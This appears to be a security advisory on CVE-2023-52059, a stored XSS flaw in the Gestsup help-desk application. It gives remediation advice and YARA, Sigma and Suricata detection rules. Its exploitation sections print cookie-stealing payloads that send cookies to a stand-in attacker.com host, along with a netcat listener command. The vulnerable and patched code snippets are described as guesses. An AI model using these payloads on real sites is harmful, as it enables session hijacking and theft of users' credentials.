CVE-2023-52059

Executive Summary

CVE-2023-52059 is a stored Cross-Site Scripting (XSS) vulnerability identified in Gestsup version 3.2.46. The flaw resides in the Description text field, allowing an authenticated attacker to inject arbitrary web scripts or HTML. When the malicious description is rendered by other users, the injected payload executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 0.0 in the NVD record, but based on the description and impact, a more realistic score is 6.1 (Medium). No official patch has been released, and no public exploit code is available, but the attack vector is straightforward.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. Gestsup is a standalone web application, and the risk is limited to the application itself.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication to inject the payload (if the description field is accessible to unauthenticated users) or Low (L) if authentication is required. Based on typical Gestsup configurations, we assume Low.
• User Interaction (UI): Required (R) – The victim must view the malicious description.
• Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited modification of content possible.
• Availability (A): None (N) – No impact on availability.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Score: 6.1 (Medium)

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Description field of Gestsup. The application fails to sanitize or encode user-supplied input before storing it in the database and later rendering it in the browser. An attacker can craft a payload such as:

<script>alert('XSS')</script>

or a more sophisticated payload to steal cookies:

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

When an administrator or other user views the ticket or entity containing the malicious description, the script executes in their browser context. This can lead to session hijacking, privilege escalation, or further compromise of the Gestsup instance.

Vulnerable vs. Patched Code

Vulnerable Code (Gestsup 3.2.46):
The Description field is likely rendered without proper escaping. For example, in a PHP template:

echo $description; // No htmlspecialchars() or similar

Patched Code (Hypothetical):
The fix would involve encoding the output:

echo htmlspecialchars($description, ENT_QUOTES, 'UTF-8');

Since no official patch is available, users must implement this manually or apply a WAF rule.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy Gestsup 3.2.46 in a lab environment (e.g., using Docker or a local LAMP stack).
2. Craft Payload: Create a JavaScript payload that exfiltrates cookies or performs a CSRF action.
3. Inject: Log in (if required) and navigate to the ticket creation or editing page. Insert the payload into the Description field.
4. Trigger: Have a victim (e.g., admin) view the ticket. The payload executes.
5. Capture: Set up a listener (e.g., nc -lvnp 8080) to receive exfiltrated data.

Example Payload:

<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

Blue Team

1. Detection: Monitor for unusual script tags or event handlers in Description fields.
2. Prevention: Implement Content Security Policy (CSP) headers to block inline scripts.
3. Mitigation: Apply input validation and output encoding. Use a WAF to block XSS patterns.
4. Response: If compromised, rotate all session tokens and audit logs for unauthorized access.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing cookie data.
• Logs: Entries in Gestsup logs showing <script> tags or onerror attributes in Description fields.
• File: Modified JavaScript files or injected scripts in the database.
• Behavior: Unexpected redirects or pop-ups when viewing tickets.

Detection Engineering

YARA Rule

rule Gestsup_XSS_Description {
    meta:
        description = "Detects stored XSS payloads in Gestsup Description fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-52059"
    strings:
        $xss1 = "<script" ascii nocase
        $xss2 = "onerror=" ascii nocase
        $xss3 = "onload=" ascii nocase
        $xss4 = "javascript:" ascii nocase
    condition:
        any of them
}

Sigma Rule

title: Gestsup Stored XSS in Description Field
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential XSS payloads in Gestsup Description field
author: Valters IT
logsource:
    category: webserver
    product: gestsup
detection:
    selection:
        http.method: POST
        http.url: '/ticket/create'  # Adjust based on actual endpoint
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"Gestsup Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/ticket/create"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply a Web Application Firewall (WAF) rule to block <script> tags and event handlers in Description fields.
2. Short-term: Manually patch the application by adding output encoding (e.g., htmlspecialchars() in PHP) to all user-supplied fields.
3. Long-term: Upgrade to a patched version if released. Conduct a security audit of the entire application.
4. Compensating Controls: Implement Content Security Policy (CSP) headers to restrict script execution. Use HTTP-only cookies to mitigate session theft.

Valters IT
Securing Digital Frontiers